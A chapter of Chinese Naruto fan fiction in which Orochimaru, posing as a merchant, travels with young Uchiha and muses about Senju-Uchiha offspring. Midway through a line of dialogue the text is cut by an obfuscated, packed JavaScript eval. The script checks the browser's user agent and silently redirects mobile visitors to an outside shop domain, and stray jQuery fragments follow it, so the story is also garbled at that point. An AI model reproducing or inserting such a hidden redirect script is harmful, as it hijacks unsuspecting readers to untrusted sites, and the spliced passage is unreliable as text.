大蛇丸自述自己是前去火之都做生意的,没想到路遇山贼劫道,他雇佣的人都被残忍杀死,真是令人悲伤。

    宇智波野衾从善如流:“我也替您深感无奈和痛惜。”

    但她又懒洋洋地想,说不定其实是大蛇丸故意害死他们的。

    开了眼的小宇智波抬了抬下巴,真心实意地对大蛇丸说:“你应该去木叶下委托的,那样就会派遣很强的忍者来护送你。”

    他看了一圈那些横七竖八躺在地上的山匪:“至少这些人,我们解决掉都可以说不在话下。”

    大蛇丸长叹息一声:“确实如此,我还是不够警惕。那现在我能跟随你们一起离开吗?”

    这个决定其他宇智波们说了不算,要看野衾怎么抉择了。大家将目光都落在她身上——他们是认识的,也许野衾就想帮一把这个人呢?

    大蛇丸是个很贴心的,也相当能引诱别人的男人,一直都是。

    他脸上挂着得体的笑容,忽地对野衾说:“野衾小姐,你知道现在被很多人不屑一顾,又有很多人都在意着的科技吗?”

    野衾眸光闪了闪,歪着脑袋问:“那是什么?”

    大蛇丸:“一种能够带来便捷性的技术,它能生产许多新的机械,而它们的用处——”

    他阴柔的面孔浮现出一个夸张的笑脸:“就是让这个世界的生产力攀升到崭新的高度。”

    在几个小宇智波困惑的表情中,他用通俗易懂的话解释了一下这些崭新事物的作用,满意地在他们的脸上看到了吃惊的神色。

    有人狐疑地问:“吹牛的吧?”

    普通人真的可以做到这个地步吗?听上去都已经像是进入到忍术的范畴了。

    “做生意做重要的就是诚信,而且我也不会说这种一戳就破的谎言。”大蛇丸被人怀疑,丁点也不生气,还笑眯眯地给他们解释。

    当然,还是那句话,拿主意的是大家的领头人——野衾。

    野衾一锤定音:“我们可以在路上详谈,大蛇丸先生。”

    ……

    也不知道大蛇丸是怎么搞来那样多的货物,正在用忍术卷轴将它们全都收拢起来的野衾不免咂舌,有这样的毅力他干什么不能成功?

    就是一直盯着宇智波这点可太头疼了,威胁性很高。而且只有千日做贼,没有千日防贼的道理。

    野衾想,如果她不能扼住这条蛇的七寸,那么她未来的每一天都不会安心。

    大蛇丸朝她露出一个友善的笑容,儒雅的姿态看不出半分阴冷的蛇态。

    野衾他们为了照顾大蛇丸这个“普通人”,不得不舍弃了忍足赶路,转而放缓脚步。

    “其实您不像商人呢,大蛇丸先生。”野衾主动提起话茬。

    “哦?野衾小姐叫我大蛇丸就可以了。”大蛇丸慢悠悠地说,“那么你觉得我更像是什么人呢?”

    野衾也让他不用加敬称了,这才不紧不慢地说:“我觉得你更像是……”

    大家都竖起耳朵偷听,他们都感觉大蛇丸身上的气质特别,像是忍者,不知道野衾会有怎样的看法。

    “一个研究者。”她落下了话音。

    ------

    看来一天之内是没有办法赶到火之都了,宇智波野衾带着另外三个孩子,加一个狼外婆大蛇丸暂住在野外。

    “这个时候用木遁的话会很方便吧,可以平地起高楼呢。”有个小宇智波感叹道。

    不用住在野外风吹雨淋,确实是出任务的必备良品。

    其他几个宇智波也是看过木叶建村时,因为刚来的居民没有住所,于是初代火影给大家建村的场面,闻言也有些小小的羡慕。

    木遁不管是居家还是战斗,用处都还挺大。

    还是有人哼哼:“但千手也就只有那样一人才拥有这样的能力,可宇智波不是。”

    小孩子嘴巴说话都没把门的,也可能是刚出来没有大人管,于是就你一言我一语地争吵起来了。

    这个说宇智波写轮眼的最强万花筒就只有当年的那两位大人才拥有,三勾玉只能算是精英,不算最强。

    那个说可我们族内的三勾玉有不少,万花筒还一次能出俩,今后族人们能再次拥有的可能性很大。但木遁呢,迄今为止就一个,未来会不会绝版都说不准!

    要真说吵嘴的宇智波是在崇拜千手柱间,那也不见的,就是年轻气盛被别人反驳了不高兴。

    大蛇丸装作听不懂的样子笑吟吟地听他们争吵,看过来的眼神和注视地里一茬茬的鲜嫩绿苗没什么区别。

    野衾忽然插话:“那如果最强的千手和最强的宇智波结合,会诞生怎样厉害的人物呢?”

    其实这个问题她都不用问出口,心里早就已经有了答案——六道。

    宇智波一族的先祖名为因陀罗,而千手一族的先祖名为阿修罗,他们俩在千年前是亲密无间的俩兄弟,父亲更是创下忍宗,宛如神话传说一般的人物——六道仙人。

    只可惜这两族因为祖先因陀罗和阿修罗之间的仇怨,所以一直都没有结合的族人,谁也不知道他们的后代究竟如何。

    这话题大蛇丸喜欢,他金色的竖瞳几乎是立刻就收缩了一瞬,亮得惊人。

    小宇智波们因为野衾突然的发问都愣了一下。

    他们因为年幼,也和野衾一样,诞生下来不久就生活在了和平的木叶,因此对千手一族还没有那么多的深仇大恨。

    长辈们为了让得之不易的和平持续得更长久一点,所以也默契地没有将歇斯底里的恨意传给下一代,极端点也就是让他们要防备千手,那一族狡诈又邪恶,不值得信任。

    同样的,千手也是大差不差的做法。甚至因为他们过去的族长是千手柱间,而这个男人又一向具有常人所不具备的威严,遵循得还要更严格些。

    毕竟小孩子不像大人那样会装模作样,要是被灌输了仇恨的想法,稍不注意就会露馅了,其他人也不敢去赌初代的忍耐性。

    大家顺着她的话思考——

    “大人们应该不会乐意见

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804604|209415||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到吧,他们的关系那么僵硬。”

    看吧,就算那两个忍族再怎么掩饰,但是彼此之间的冷淡和防备还是连小孩都看出来了。

    “我们俩族最强的都是男人,也没有办法结合啦。”

    “就是说嘛,宇智波和千手联姻,听上去就觉得好奇怪,完全没有办法坦然地接受。”

    “总是说我们宇智波眼高于顶,千手热情爽朗,可我看他们千手才是笑面虎呢。”

    大蛇丸闻言,才感觉相当的惋惜,这两族因为常年的战争交锋和仇恨,连新生代的孩子都觉得无法和平共处。

    想要见识到二族能够诞下多么天才伶俐的孩子,几乎是不可能的事情。

    野衾笑笑:“我只是觉得以万花筒和木遁的结合,须佐套大佛,可以说是天下无敌了吧。”

    其实她更想说轮回眼,不过想了想自己应该对此不知情,于是就没有提及。

    几个小孩们都向往强者,也正值异想天开的年纪,不由露出了神往的表情。

    别说是他们了,就连大蛇丸都被野衾这一两句话给挑逗得怦然心动。

    等他成长到很强大的时候,千手一族的人都已经死得差不多了,甚至连他的弟子绳树也在战争中死去,当然见识不到宇智波和千手有可能联结的盛况。

    但现在却不同了,战国时代的豪门二族如今都处在最强盛的时期,族人们也都枝繁叶茂,想想办法的话,未必不能见识到天才后裔。

    “而且,男人和男人真的没办法诞生后代吗?”野衾的目光转向大蛇丸,直勾勾地望着他。

    大蛇丸的心跳竟然漏了一拍,失神间竟要觉得这位聪慧的小宇智波是看破了自己的身份。

    其他几个小孩都以为野衾是在开玩笑呢。

    “男人和男人不能生啦,我们从来都没有见过。”

    尤其是男性小宇智波,抚上自己的肚子,想象着男人挺着大肚子的模样,狠狠打了一个哆嗦。

    大蛇丸笑了笑:“野衾是在问我?你看来对我是研究者的身份深信不疑啊——不过,猜对了哦。”

    感觉没什么隐瞒的必要,大蛇丸就直说了。

    其他宇智波:“欸——”

    这是何等敏锐的眼力啊,如果不是野衾和大蛇丸就在他们的眼皮子底下,没见多少交流,大家几乎都要以为这俩人是在合伙蒙骗大家了。

    “巧的是,鄙人恰好在生物学上有几分成就。”他谦虚地说。

    野衾心说可不是嘛,这成就还真不小呢。整个火影谁能像他一样,不凭借任何血统就可以死了活活了死,死死活活几乎永生,脸庞从不见老态,比千手一族的保养秘术都要厉害。

    “那男人真的可以生孩子吗?”有个小宇智波好奇地问。

    大蛇丸呵呵地笑了两声,嗓音沙哑阴柔:“我只能说,万事皆有可能。”

    大家本来就觉得他讲话就好像是有条冰冷的蛇从手臂间蜿蜒爬过,听到这话更是狠狠打了个颤!

    生物科学真是太可怕了!